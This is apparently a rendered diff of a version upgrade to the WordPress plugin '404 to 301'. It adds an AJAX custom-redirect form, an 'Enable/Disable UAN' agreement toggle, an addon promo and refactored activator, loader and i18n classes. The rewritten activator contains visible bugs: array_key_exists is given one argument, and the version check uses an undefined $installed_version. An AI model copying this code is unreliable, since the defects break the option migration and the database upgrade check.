+ $(this).addClass('disabled');
59
+ $('.i4t3-spinner').css('visibility', 'visible');
60
+ var data = {
61
+ 'action': 'i4t3_redirect_form',
62
+ 'url_404': $('#i4t3_redirect_404').val(),
63
+ 'url': $('#i4t3_redirect_url').val(),
64
+ 'nonce': $('#i4t3_custom_redirect_nonce').val()
65
+ };
66
+ // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
67
+ $.post(ajaxurl, data, function(response) {
68
+ // close the modal
69
+ tb_remove();
70
+ $('#i4t3_custom_redirect_submit').removeClass('disabled');
71
+ $('.i4t3-spinner').css('visibility', 'hidden');
72
+ });
73
+ });
74
  })
75
  })(jQuery);
admin/partials/404-to-301-admin-credits-tab.php CHANGED
@@ -1,4 +1,9 @@
1
  <div class="wrap">
 
 
 
 
 
2
  <br>
3
  <div id="poststuff">
4
  <div id="post-body" class="metabox-holder columns-2">
@@ -8,7 +13,7 @@
8
  <div class="inside">
9
  <div class="c4p-clearfix">
10
  <div class="c4p-left">
11
- <img src="<?php echo I4T3_PATH . 'admin/images/coder.png'; ?>" class="c4p-author-image" />
12
  </div>
13
  <div class="c4p-left" style="width: 70%">
14
  <?php $uname = ( $current_user->user_firstname == '' ) ? $current_user->user_login : $current_user->user_firstname; ?>
@@ -47,7 +52,7 @@
47
  <span><strong><?php _e('404 to 301', '404-to-301'); ?></strong></span>
48
  </div>
49
  <div class="misc-pub-section">
50
- <label><?php _e('Version', '404-to-301'); ?> : v<?php echo $this->version; ?></label>
51
  <span></span>
52
  </div>
53
  <div class="misc-pub-section">
@@ -66,6 +71,24 @@
66
  <label><?php _e('Need help?', '404-to-301'); ?></label>
67
  <span><strong><a href="https://thefoxe.com/contact/"><?php _e('contact support', '404-to-301'); ?></a></strong></span>
68
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
69
  </div>
70
  </div>
71
  <div class="postbox">
1
  <div class="wrap">
2
+ <?php
3
+ if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
4
+ include_once '404-to-301-admin-agreement-tab.php';
5
+ }
6
+ ?>
7
  <br>
8
  <div id="poststuff">
9
  <div id="post-body" class="metabox-holder columns-2">
13
  <div class="inside">
14
  <div class="c4p-clearfix">
15
  <div class="c4p-left">
16
+ <img src="<?php echo I4T3_PATH . 'admin/images/foxe.png'; ?>" class="c4p-author-image" />
17
  </div>
18
  <div class="c4p-left" style="width: 70%">
19
  <?php $uname = ( $current_user->user_firstname == '' ) ? $current_user->user_login : $current_user->user_firstname; ?>
52
  <span><strong><?php _e('404 to 301', '404-to-301'); ?></strong></span>
53
  </div>
54
  <div class="misc-pub-section">
55
+ <label><?php _e('Version', '404-to-301'); ?> : v<?php echo I4T3_VERSION; ?></label>
56
  <span></span>
57
  </div>
58
  <div class="misc-pub-section">
71
  <label><?php _e('Need help?', '404-to-301'); ?></label>
72
  <span><strong><a href="https://thefoxe.com/contact/"><?php _e('contact support', '404-to-301'); ?></a></strong></span>
73
  </div>
74
+ <div class="misc-pub-section">
75
+ <?php if( get_option( 'i4t3_agreement', 2 ) == 1 ) { ?>
76
+ <a class="button-secondary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=0" id="i4t3-hide-admin-notice">Disable UAN</a>
77
+ <?php } else { ?>
78
+ <a class="button-primary" href="<?php echo I4T3_HELP_PAGE; ?>&i4t3_agreement=1" id="i4t3-accept-terms">Enable UAN</a>
79
+ <?php } ?>
80
+ </div>
81
+ </div>
82
+ </div>
83
+ <div class="postbox">
84
+ <h3 class="hndle ui-sortable-handle"><span class="dashicons dashicons-admin-plugins"></span> <?php _e('Log Manager Addon', '404-to-301'); ?></h3>
85
+ <div class="inside">
86
+ <div class="misc-pub-section">
87
+ <p><?php _e('Error Log Manager addon is available for 404 to 301 now. Make 404 error management more easy', '404-to-301'); ?>.</p>
88
+ <p><span class="dashicons dashicons-backup"></span> <?php _e('Instead of email alerts on every error, get Hourly, Daily, Twice a day, Weekly, Twice a week email alerts', '404-to-301'); ?>.</p>
89
+ <p><span class="dashicons dashicons-trash"></span> <?php _e('Automatically clear old error logs after few days to reduce db load', '404-to-301'); ?>.</p>
90
+ <p><a class="i4t3-author-link" href="https://thefoxe.com/products/404-to-301-log-manager/" target="_blank"><span class="dashicons dashicons-external"></span> <?php _e('See More Details', '404-to-301'); ?></a></p>
91
+ </div>
92
  </div>
93
  </div>
94
  <div class="postbox">
admin/partials/404-to-301-admin-general-tab.php CHANGED
@@ -19,7 +19,10 @@
19
  default:
20
  break;
21
  }
22
- ?>
 
 
 
23
  <table class="form-table">
24
  <tbody>
25
 
@@ -45,6 +48,7 @@
45
  <p class="description"><strong><?php _e('Existing Page', '404-to-301'); ?>:</strong> <?php _e('Select any WordPress page as a 404 page', '404-to-301'); ?>.</p>
46
  <p class="description"><strong><?php _e('Custom URL', '404-to-301'); ?>:</strong> <?php _e('Redirect 404 requests to a specific URL', '404-to-301'); ?>.</p>
47
  <p class="description"><strong><?php _e('No Redirect', '404-to-301'); ?>:</strong> <?php _e('To disable redirect', '404-to-301'); ?>.</p>
 
48
  </td>
49
  </tr>
50
  <tr id="custom_page" <?php echo $cp_style; ?>>
19
  default:
20
  break;
21
  }
22
+ if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
23
+ include_once '404-to-301-admin-agreement-tab.php';
24
+ }
25
+ ?>
26
  <table class="form-table">
27
  <tbody>
28
 
48
  <p class="description"><strong><?php _e('Existing Page', '404-to-301'); ?>:</strong> <?php _e('Select any WordPress page as a 404 page', '404-to-301'); ?>.</p>
49
  <p class="description"><strong><?php _e('Custom URL', '404-to-301'); ?>:</strong> <?php _e('Redirect 404 requests to a specific URL', '404-to-301'); ?>.</p>
50
  <p class="description"><strong><?php _e('No Redirect', '404-to-301'); ?>:</strong> <?php _e('To disable redirect', '404-to-301'); ?>.</p>
51
+ <p class="description i4t3-green"><strong><?php _e('You can override this by setting individual custom redirects from error logs list.', '404-to-301'); ?></strong></p>
52
  </td>
53
  </tr>
54
  <tr id="custom_page" <?php echo $cp_style; ?>>
includes/class-404-to-301-activator.php CHANGED
@@ -9,69 +9,64 @@ if (!defined('WPINC')) {
9
  *
10
  * This class defines all code necessary to run during the plugin's activation.
11
  *
12
- * @link https://thefoxe.com/products/404-to-301/
13
- * @since 2.0.0
14
- * @package I4T3
15
- * @subpackage I4T3/includes
16
- * @author Joel James <me@joelsays.com>
 
17
  */
18
  class _404_To_301_Activator {
19
 
20
  /**
21
  * Function to run during activation
22
- * Transfering old options to new - 404 to 301
 
 
23
  *
24
- * 404 to 301 Coding sturucture and options are changed to new sturcture.
25
- * So we need to transfer old values to new structure. This file will
26
- * be used once. After transferring, we will never use these functions.
27
- *
28
- * @since 2.0.0
29
- * @author Joel James
30
  */
31
  public static function activate() {
32
 
33
- // Set default values for the plugin
34
- $i4t3_type = self::transfer('type', 'redirect_type', '301');
35
- $i4t3_link = self::transfer('link', 'redirect_link', site_url());
36
- $i4t3_enable = self::transfer('', 'redirect_log', 1);
37
- $i4t3_to = self::transfer('', 'redirect_to', 'link');
38
- $i4t3_page = self::transfer('', 'redirect_page', '');
39
- $i4t3_notify = self::transfer('', 'email_notify', 0);
40
- $i4t3_notify_email = self::transfer('', 'email_notify_address', get_option('admin_email'));
41
- $i4t3_exclude = self::transfer('', 'exclude_paths', '');
42
-
43
- // New general settings array to be added
44
- $i4t3GnrlOptions = array(
45
- 'redirect_type' => $i4t3_type,
46
- 'redirect_link' => $i4t3_link,
47
- 'redirect_log' => $i4t3_enable,
48
- 'redirect_to' => $i4t3_to,
49
- 'redirect_page' => $i4t3_page,
50
- 'email_notify' => $i4t3_notify,
51
- 'email_notify_address' => $i4t3_notify_email,
52
- 'exclude_paths' => $i4t3_exclude
53
  );
54
-
55
- /**
56
- * Array of all settings arrays.
57
- * We are adding this to an array as we need to register
58
- * multiple settings in future for addons
59
- */
60
- $i4t3_options = array(
61
- 'i4t3_gnrl_options' => $i4t3GnrlOptions
62
- );
63
-
64
  // If not already exist, adding values
65
- foreach ($i4t3_options as $key => $value) {
66
- update_option($key, $value);
 
 
 
 
 
 
 
 
 
 
 
 
 
67
  }
 
 
68
 
69
- // remember, two spaces after PRIMARY KEY otherwise WP borks
70
- $installed_version = get_option('i4t3_db_version');
71
-
72
- if (!$installed_version || ( I4T3_DB_VERSION != $installed_version )) {
73
 
74
  global $wpdb;
 
75
  $table = $wpdb->prefix . "404_to_301";
76
 
77
  $sql = "CREATE TABLE $table (
@@ -81,50 +76,15 @@ class _404_To_301_Activator {
81
  ref VARCHAR(512) NOT NULL default '',
82
  ip VARCHAR(40) NOT NULL default '',
83
  ua VARCHAR(512) NOT NULL default '',
 
84
  PRIMARY KEY (id)
85
  );";
86
 
87
- require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
88
- dbDelta($sql); // To be safe on db upgrades
89
- update_option('i4t3_db_version', I4T3_DB_VERSION);
90
- }
91
- }
92
-
93
- /**
94
- * Function to get existing settings
95
- *
96
- * This function used to check if the new setting is already available
97
- * in datatabse, then consider that. Otherwise check for the old one
98
- * and if available, takes that.
99
- * If both the values are not available, then creates new default settings.
100
- *
101
- * @since 2.0.0
102
- * @author Joel James
103
- */
104
- public static function transfer($old, $new, $fresh) {
105
-
106
- $option = 'i4t3_gnrl_options';
107
-
108
- // let us check if new options already exists
109
- if (get_option($option)) {
110
- $i4t3_option = get_option($option);
111
- // If exists, then take that option value
112
- $fresh = (!empty($i4t3_option[$new])) ? $i4t3_option[$new] : $fresh;
113
- // Check if old value is available for the same option
114
- if (in_array($old, array('type', 'link')) && get_option($old)) {
115
- // If available delete it, as we are moving to new settings
116
- delete_option($old);
117
- }
118
- }
119
- // Fine, new options doesn't exist, then let us search for old
120
- else if (get_option($old)) {
121
- // Take old value and set it to new
122
- $fresh = get_option($old);
123
- // Delete it, as we are moving to new settings
124
- delete_option($old);
125
  }
126
-
127
- return $fresh;
128
  }
129
-
130
  }
9
  *
10
  * This class defines all code necessary to run during the plugin's activation.
11
  *
12
+ * @category Core
13
+ * @package I4T3
14
+ * @subpackage Activator
15
+ * @author Joel James <me@joelsays.com>
16
+ * @license http://www.gnu.org/licenses/ GNU General Public License
17
+ * @link https://thefoxe.com/products/404-to-301
18
  */
19
  class _404_To_301_Activator {
20
 
21
  /**
22
  * Function to run during activation
23
+ *
24
+ * We register default options to the WordPress
25
+ * if not exists already.
26
  *
27
+ * @since 1.0.0
28
+ * @access public
29
+ *
30
+ * @return void
 
 
31
  */
32
  public static function activate() {
33
 
34
+ // default settings array
35
+ $options = array(
36
+ 'redirect_type' => '301',
37
+ 'redirect_link' => home_url(),
38
+ 'redirect_log' => 1,
39
+ 'redirect_to' => 'link',
40
+ 'redirect_page' => '',
41
+ 'email_notify' => 0,
42
+ 'email_notify_address' => get_option( 'admin_email' ),
43
+ 'exclude_paths' => '/wp-content'
 
 
 
 
 
 
 
 
 
 
44
  );
45
+
 
 
 
 
 
 
 
 
 
46
  // If not already exist, adding values
47
+ if ( ! get_option( 'i4t3_gnrl_options' ) ) {
48
+ update_option( 'i4t3_gnrl_options' , $options );
49
+ } else {
50
+ // get old values if exists
51
+ $old = get_option( 'i4t3_gnrl_options' );
52
+ // loop through each new options
53
+ // to check old value exist for each items.
54
+ foreach ( $options as $key => $value ) {
55
+ if ( array_key_exists( $old[ $key ] ) ) {
56
+ // if old value exists, update that
57
+ $options[ $key ] = $old[ $key ];
58
+ }
59
+ }
60
+ // update the old options
61
+ update_option( 'i4t3_gnrl_options', $options );
62
  }
63
+ // get plugin db version
64
+ $db_version = get_option('i4t3_db_version');
65
 
66
+ if ( ! $db_version || ( I4T3_DB_VERSION != $installed_version ) ) {
 
 
 
67
 
68
  global $wpdb;
69
+
70
  $table = $wpdb->prefix . "404_to_301";
71
 
72
  $sql = "CREATE TABLE $table (
76
  ref VARCHAR(512) NOT NULL default '',
77
  ip VARCHAR(40) NOT NULL default '',
78
  ua VARCHAR(512) NOT NULL default '',
79
+ redirect VARCHAR(512) NULL default '',
80
  PRIMARY KEY (id)
81
  );";
82
 
83
+ require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
84
+ // to be safe on db upgrades
85
+ dbDelta($sql);
86
+ // update db version
87
+ update_option( 'i4t3_db_version', I4T3_DB_VERSION );
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
88
  }
 
 
89
  }
 
90
  }
includes/class-404-to-301-i18n.php CHANGED
@@ -1,47 +1,39 @@
1
  <?php
2
 
 
 
 
 
 
3
  /**
4
  * Define the internationalization functionality
5
  *
6
  * Loads and defines the internationalization files for this plugin
7
  * so that it is ready for translation.
8
  *
9
- * @link https://thefoxe.com/products/404-to-301/
10
- * @since 2.0.7
11
  * @package I4T3
12
- * @subpackage I4T3/includes
13
  * @author Joel James <me@joelsays.com>
 
 
14
  */
15
  class _404_To_301_i18n {
16
 
17
- /**
18
- * The domain specified for this plugin.
19
- *
20
- * @since 2.0.7
21
- * @access private
22
- * @var string $domain The domain identifier for this plugin.
23
- */
24
- private $domain;
25
-
26
  /**
27
  * Load the plugin text domain for translation.
28
  *
29
- * @since 2.0.7
 
 
 
30
  */
31
- public function load_plugin_textdomain() {
 
32
  load_plugin_textdomain(
33
- $this->domain, false, dirname(dirname(plugin_basename(__FILE__))) . '/languages/'
 
 
34
  );
35
  }
36
-
37
- /**
38
- * Set the domain equal to that of the specified domain.
39
- *
40
- * @since 2.0.7
41
- * @param string $domain The domain that represents the locale of this plugin.
42
- */
43
- public function set_domain($domain) {
44
- $this->domain = $domain;
45
- }
46
-
47
  }
1
  <?php
2
 
3
+ // If this file is called directly, abort.
4
+ if ( ! defined( 'WPINC' ) ) {
5
+ die( 'Damn it.! Dude you are looking for what?' );
6
+ }
7
+
8
  /**
9
  * Define the internationalization functionality
10
  *
11
  * Loads and defines the internationalization files for this plugin
12
  * so that it is ready for translation.
13
  *
14
+ * @category Core
 
15
  * @package I4T3
16
+ * @subpackage Internationalization
17
  * @author Joel James <me@joelsays.com>
18
+ * @license http://www.gnu.org/licenses/ GNU General Public License
19
+ * @link https://thefoxe.com/products/404-to-301
20
  */
21
  class _404_To_301_i18n {
22
 
 
 
 
 
 
 
 
 
 
23
  /**
24
  * Load the plugin text domain for translation.
25
  *
26
+ * @since 2.0.7
27
+ * @access public
28
+ *
29
+ * @return void
30
  */
31
+ public function load_textdomain() {
32
+
33
  load_plugin_textdomain(
34
+ I4T3_DOMAIN,
35
+ false,
36
+ dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
37
  );
38
  }
 
 
 
 
 
 
 
 
 
 
 
39
  }
includes/class-404-to-301-loader.php CHANGED
@@ -1,8 +1,8 @@
1
  <?php
2
 
3
  // If this file is called directly, abort.
4
- if (!defined('WPINC')) {
5
- die('Damn it.! Dude you are looking for what?');
6
  }
7
 
8
  /**
@@ -12,86 +12,104 @@ if (!defined('WPINC')) {
12
  * the plugin, and register them with the WordPress API. Call the
13
  * run function to execute the list of actions and filters.
14
  *
 
15
  * @package I4T3
16
- * @subpackage I4T3/includes
17
- * @link https://thefoxe.com/products/404-to-301/
18
- * @since 2.0.0
19
  * @author Joel James <me@joelsays.com>
 
 
20
  */
21
  class _404_To_301_Loader {
22
 
23
  /**
24
  * The array of actions registered with WordPress.
25
  *
26
- * @since 2.0.0
27
- * @access protected
28
- * @var array $actions The actions registered with WordPress to fire when the plugin loads.
29
  */
30
  protected $actions;
31
 
32
  /**
33
  * The array of filters registered with WordPress.
34
  *
35
- * @since 2.0.0
36
- * @access protected
37
- * @var array $filters The filters registered with WordPress to fire when the plugin loads.
38
  */
39
  protected $filters;
40
 
41
  /**
42
  * Initialize the collections used to maintain the actions and filters.
43
  *
44
- * @since 2.0.0
 
 
 
45
  */
46
  public function __construct() {
47
-
 
48
  $this->actions = array();
 
49
  $this->filters = array();
50
  }
51
 
52
  /**
53
  * Add a new action to the collection to be registered with WordPress.
54
- *
55
- * @since 2.0.0
56
- * @var string $hook The name of the WordPress action that is being registered.
57
- * @var object $component A reference to the instance of the object on which the action is defined.
58
- * @var string $callback The name of the function definition on the $component.
59
- * @var int Optional $priority The priority at which the function should be fired.
60
- * @var int Optional $accepted_args The number of arguments that should be passed to the $callback.
 
 
 
 
61
  */
62
- public function add_action($hook, $component, $callback, $priority = 10, $accepted_args = 1) {
63
- $this->actions = $this->add($this->actions, $hook, $component, $callback, $priority, $accepted_args);
 
64
  }
65
 
66
  /**
67
  * Add a new filter to the collection to be registered with WordPress.
68
  *
69
- * @since 2.0.0
70
- * @var string $hook The name of the WordPress filter that is being registered.
71
- * @var object $component A reference to the instance of the object on which the filter is defined.
72
- * @var string $callback The name of the function definition on the $component.
73
- * @var int Optional $priority The priority at which the function should be fired.
74
- * @var int Optional $accepted_args The number of arguments that should be passed to the $callback.
 
 
 
 
75
  */
76
- public function add_filter($hook, $component, $callback, $priority = 10, $accepted_args = 1) {
77
- $this->filters = $this->add($this->filters, $hook, $component, $callback, $priority, $accepted_args);
 
78
  }
79
 
80
  /**
81
  * A utility function that is used to register the actions and hooks into a single
82
  * collection.
83
  *
84
- * @since 2.0.0
85
- * @access private
86
- * @var array $hooks The collection of hooks that is being registered (that is, actions or filters).
87
- * @var string $hook The name of the WordPress filter that is being registered.
88
- * @var object $component A reference to the instance of the object on which the filter is defined.
89
- * @var string $callback The name of the function definition on the $component.
90
- * @var int Optional $priority The priority at which the function should be fired.
91
- * @var int Optional $accepted_args The number of arguments that should be passed to the $callback.
92
- * @return type The collection of actions and filters registered with WordPress.
 
 
93
  */
94
- private function add($hooks, $hook, $component, $callback, $priority, $accepted_args) {
95
 
96
  $hooks[] = array(
97
  'hook' => $hook,
@@ -107,17 +125,19 @@ class _404_To_301_Loader {
107
  /**
108
  * Register the filters and actions with WordPress.
109
  *
110
- * @since 2.0.0
 
 
 
111
  */
112
  public function run() {
113
 
114
- foreach ($this->filters as $hook) {
115
- add_filter($hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args']);
116
  }
117
 
118
- foreach ($this->actions as $hook) {
119
- add_action($hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args']);
120
  }
121
  }
122
-
123
  }
1
  <?php
2
 
3
  // If this file is called directly, abort.
4
+ if ( ! defined( 'WPINC' ) ) {
5
+ die( 'Damn it.! Dude you are looking for what?' );
6
  }
7
 
8
  /**
12
  * the plugin, and register them with the WordPress API. Call the
13
  * run function to execute the list of actions and filters.
14
  *
15
+ * @category Core
16
  * @package I4T3
17
+ * @subpackage Loader
 
 
18
  * @author Joel James <me@joelsays.com>
19
+ * @license http://www.gnu.org/licenses/ GNU General Public License
20
+ * @link https://thefoxe.com/products/404-to-301
21
  */
22
  class _404_To_301_Loader {
23
 
24
  /**
25
  * The array of actions registered with WordPress.
26
  *
27
+ * @since 2.0.0
28
+ * @access protected
29
+ * @var array $actions The actions registered with WordPress to fire when the plugin loads.
30
  */
31
  protected $actions;
32
 
33
  /**
34
  * The array of filters registered with WordPress.
35
  *
36
+ * @since 2.0.0
37
+ * @access protected
38
+ * @var array $filters The filters registered with WordPress to fire when the plugin loads.
39
  */
40
  protected $filters;
41
 
42
  /**
43
  * Initialize the collections used to maintain the actions and filters.
44
  *
45
+ * @since 2.0.0
46
+ * @access public
47
+ *
48
+ * @return void
49
  */
50
  public function __construct() {
51
+
52
+ // actions array
53
  $this->actions = array();
54
+ // filters array
55
  $this->filters = array();
56
  }
57
 
58
  /**
59
  * Add a new action to the collection to be registered with WordPress.
60
+ *
61
+ * @param string $hook The name of the WordPress action that is being registered.
62
+ * @param object $component A reference to the instance of the object on which the action is defined.
63
+ * @param string $callback The name of the function definition on the $component.
64
+ * @param int $priority The priority at which the function should be fired.
65
+ * @param int $accepted_args The number of arguments that should be passed to the $callback.
66
+ *
67
+ * @since 2.0.0
68
+ * @access public
69
+ *
70
+ * @return void
71
  */
72
+ public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
73
+
74
+ $this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
75
  }
76
 
77
  /**
78
  * Add a new filter to the collection to be registered with WordPress.
79
  *
80
+ * @param string $hook The name of the WordPress filter that is being registered.
81
+ * @param object $component A reference to the instance of the object on which the filter is defined.
82
+ * @param string $callback The name of the function definition on the $component.
83
+ * @param int $priority The priority at which the function should be fired.
84
+ * @param int $accepted_args The number of arguments that should be passed to the $callback.
85
+ *
86
+ * @since 2.0.0
87
+ * @access public
88
+ *
89
+ * @return void
90
  */
91
+ public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
92
+
93
+ $this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
94
  }
95
 
96
  /**
97
  * A utility function that is used to register the actions and hooks into a single
98
  * collection.
99
  *
100
+ * @param array $hooks The collection of hooks that is being registered (that is, actions or filters).
101
+ * @param string $hook The name of the WordPress filter that is being registered.
102
+ * @param object $component A reference to the instance of the object on which the filter is defined.
103
+ * @param string $callback The name of the function definition on the $component.
104
+ * @param int $priority The priority at which the function should be fired.
105
+ * @param int $accepted_args The number of arguments that should be passed to the $callback.
106
+ *
107
+ * @since 2.0.0
108
+ * @access private
109
+ *
110
+ * @return array The collection of actions and filters registered with WordPress.
111
  */
112
+ private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args ) {
113
 
114
  $hooks[] = array(
115
  'hook' => $hook,
125
  /**
126
  * Register the filters and actions with WordPress.
127
  *
128
+ * @since 2.0.0
129
+ * @access public
130
+ *
131
+ * @return void
132
  */
133
  public function run() {
134
 
135
+ foreach( $this->filters as $hook ) {
136
+ add_filter( $hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args'] );
137
  }
138
 
139
+ foreach( $this->actions as $hook ) {
140
+ add_action( $hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args'] );
141
  }
142
  }
 
143
  }
includes/class-404-to-301.php CHANGED
@@ -1,213 +1,180 @@
1
- <?php
2
-
3
- // If this file is called directly, abort.
4
- if (!defined('WPINC')) {
5
- die('Damn it.! Dude you are looking for what?');
6
- }
7
-
8
- /**
9
- * The file that defines the core plugin class
10
- *
11
- * A class definition that includes attributes and functions used across both the
12
- * public-facing side of the site and the dashboard.
13
- * Also maintains the unique identifier of this plugin as well as the current
14
- * version of the plugin.
15
- *
16
- * @link https://thefoxe.com/products/404-to-301/
17
- * @since 2.0.0
18
- * @package I4T3
19
- * @subpackage I4T3/includes
20
- * @author Joel James <me@joelsays.com>
21
- */
22
- class _404_To_301 {
23
-
24
- /**
25
- * The loader that's responsible for maintaining and registering all hooks that power
26
- * the plugin.
27
- *
28
- * @since 2.0.0
29
- * @access protected
30
- * @var _404_To_301_Loader $loader Maintains and registers all hooks for the plugin.
31
- */
32
- protected $loader;
33
-
34
- /**
35
- * The unique identifier of this plugin.
36
- *
37
- * @since 2.0.0
38
- * @access protected
39
- * @var string $plugin_name The string used to uniquely identify this plugin.
40
- */
41
- protected $plugin_name;
42
-
43
- /**
44
- * The current version of the plugin.
45
- *
46
- * @since 2.0.0
47
- * @access protected
48
- * @var string $version The current version of the plugin.
49
- */
50
- protected $version;
51
-
52
- /**
53
- * The database table of plugin.
54
- *
55
- * @since 2.0.0
56
- * @access protected
57
- * @var string $table The plugin table name in db.
58
- */
59
- protected $table;
60
-
61
- /**
62
- * Define the core functionality of the plugin.
63
- *
64
- * Set the plugin name, plugin version and the plugin table name that can be used throughout the plugin.
65
- * Load the dependencies, define the locale, and set the hooks for the Dashboard and
66
- * the public-facing side of the site.
67
- *
68
- * @since 2.0.0
69
- */
70
- public function __construct() {
71
-
72
- $this->plugin_name = '404-to-301';
73
- $this->version = '2.1.7';
74
- $this->table = $GLOBALS['wpdb']->prefix . '404_to_301';
75
- $this->load_dependencies();
76
- $this->set_locale();
77
- $this->define_admin_hooks();
78
- $this->define_handler_hooks();
79
- }
80
-
81
- /**
82
- * Load the required dependencies for this plugin.
83
- *
84
- * Include the following files that make up the plugin:
85
- *
86
- * - _404_To_301_Loader. Orchestrates the hooks of the plugin.
87
- * - _404_To_301_Admin. Defines all hooks for the dashboard.
88
- * - _404_To_301_Public. Defines all hooks for the public functions.
89
- * - _404_To_301_Logs. Defines all hooks for listing logs.
90
- *
91
- * Create an instance of the loader which will be used to register the hooks
92
- * with WordPress.
93
- *
94
- * @since 2.0.0
95
- * @access private
96
- */
97
- private function load_dependencies() {
98
-
99
- require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-404-to-301-loader.php';
100
- require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-404-to-301-i18n.php';
101
- require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-404-to-301-admin.php';
102
- require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-404-to-301-logs.php';
103
- require_once plugin_dir_path(dirname(__FILE__)) . 'public/class-404-to-301-public.php';
104
-
105
- $this->loader = new _404_To_301_Loader();
106
- }
107
-
108
- /**
109
- * Define the locale for this plugin for internationalization.
110
- *
111
- * Uses the Plugin_Name_i18n class in order to set the domain and to register the hook
112
- * with WordPress.
113
- *
114
- * @since 1.0.0
115
- * @access private
116
- */
117
- private function set_locale() {
118
- $plugin_i18n = new _404_To_301_i18n();
119
- $plugin_i18n->set_domain($this->get_plugin_name());
120
- $this->loader->add_action('plugins_loaded', $plugin_i18n, 'load_plugin_textdomain');
121
- }
122
-
123
- /**
124
- * Register all of the hooks related to the dashboard functionality
125
- * of the plugin.
126
- * This function is used to register all styles and JavaScripts for admin side.
127
- *
128
- * @since 2.0.0
129
- * @access private
130
- * @uses add_action() and add_filter()
131
- */
132
- private function define_admin_hooks() {
133
-
134
- $plugin_admin = new _404_To_301_Admin($this->get_plugin_name(), $this->get_version(), $this->get_table());
135
-
136
- $this->loader->add_filter('admin_init', $plugin_admin, 'add_buffer');
137
- $this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_styles');
138
- $this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts');
139
- $this->loader->add_action('admin_menu', $plugin_admin, 'i4t3_create_404_to_301_menu');
140
- $this->loader->add_action('admin_menu', $plugin_admin, 'i4t3_rename_plugin_menu');
141
- $this->loader->add_action('admin_init', $plugin_admin, 'i4t3_options_register');
142
- $this->loader->add_filter('admin_footer_text', $plugin_admin, 'i4t3_dashboard_footer');
143
- $this->loader->add_filter('plugin_action_links', $plugin_admin, 'i4t3_plugin_action_links', 10, 5);
144
- $this->loader->add_action('plugins_loaded', $plugin_admin, 'i4t3_upgrade_if_new');
145
- $this->loader->add_filter('i4t3_notify_admin_email_address', $plugin_admin, 'i4t3_change_notify_email');
146
- $this->loader->add_filter('set-screen-option', $plugin_admin, 'set_screen', 10, 3);
147
- }
148
-
149
- /**
150
- * Register all of the hooks related to handle 404 actions of the plugin.
151
- *
152
- * @since 2.0.0
153
- * @access private
154
- * @uses add_filter()
155
- */
156
- private function define_handler_hooks() {
157
-
158
- $plugin_public = new _404_To_301_Public($this->get_plugin_name(), $this->get_version(), $this->get_table());
159
- // Main Hook to perform redirections on 404s
160
- $this->loader->add_filter('template_redirect', $plugin_public, 'i4t3_redirect_404');
161
- }
162
-
163
- /**
164
- * Run the loader to execute all of the hooks with WordPress.
165
- *
166
- * @since 2.0.0
167
- */
168
- public function run() {
169
- $this->loader->run();
170
- }
171
-
172
- /**
173
- * The name of the plugin used to uniquely identify it within the context of
174
- * WordPress and to define internationalization functionality.
175
- *
176
- * @since 2.0.0
177
- * @return string The name of the plugin.
178
- */
179
- public function get_plugin_name() {
180
- return $this->plugin_name;
181
- }
182
-
183
- /**
184
- * The reference to the class that orchestrates the hooks with the plugin.
185
- *
186
- * @since 2.0.0
187
- * @return i4t3_Loader Orchestrates the hooks of the plugin.
188
- */
189
- public function get_loader() {
190
- return $this->loader;
191
- }
192
-
193
- /**
194
- * Retrieve the version number of the plugin.
195
- *
196
- * @since 2.0.0
197
- * @return string The version number of the plugin.
198
- */
199
- public function get_version() {
200
- return $this->version;
201
- }
202
-
203
- /**
204
- * Retrieve the table name of the plugin.
205
- *
206
- * @since 2.0.0
207
- * @return string The table name of the plugin.
208
- */
209
- public function get_table() {
210
- return $this->table;
211
- }
212
-
213
- }
1
+ <?php
2
+
3
+ // If this file is called directly, abort.
4
+ if ( ! defined( 'WPINC' ) ) {
5
+ die( 'Damn it.! Dude you are looking for what?' );
6
+ }
7
+
8
+ /**
9
+ * The file that defines the core plugin class
10
+ *
11
+ * A class definition that includes attributes and functions used across both the
12
+ * public-facing side of the site and the dashboard.
13
+ * Also maintains the unique identifier of this plugin as well as the current
14
+ * version of the plugin.
15
+ *
16
+ * @category Core
17
+ * @package I4T3
18
+ * @subpackage Core
19
+ * @author Joel James <me@joelsays.com>
20
+ * @license http://www.gnu.org/licenses/ GNU General Public License
21
+ * @link https://thefoxe.com/products/404-to-301
22
+ */
23
+ class _404_To_301 {
24
+
25
+ /**
26
+ * The loader that's responsible for maintaining and registering all hooks that power
27
+ * the plugin.
28
+ *
29
+ * @since 2.0.0
30
+ * @access protected
31
+ * @var _404_To_301_Loader $loader Maintains and registers all hooks for the plugin.
32
+ */
33
+ protected $loader;
34
+
35
+ /**
36
+ * Define the core functionality of the plugin.
37
+ *
38
+ * Set the plugin name, plugin version and the plugin table name that can be used throughout the plugin.
39
+ * Load the dependencies, define the locale, and set the hooks for the Dashboard and
40
+ * the public-facing side of the site.
41
+ *
42
+ * @since 1.0.0
43
+ * @access public
44
+ *
45
+ * @return void
46
+ */
47
+ public function __construct() {
48
+
49
+ $this->load_dependencies();
50
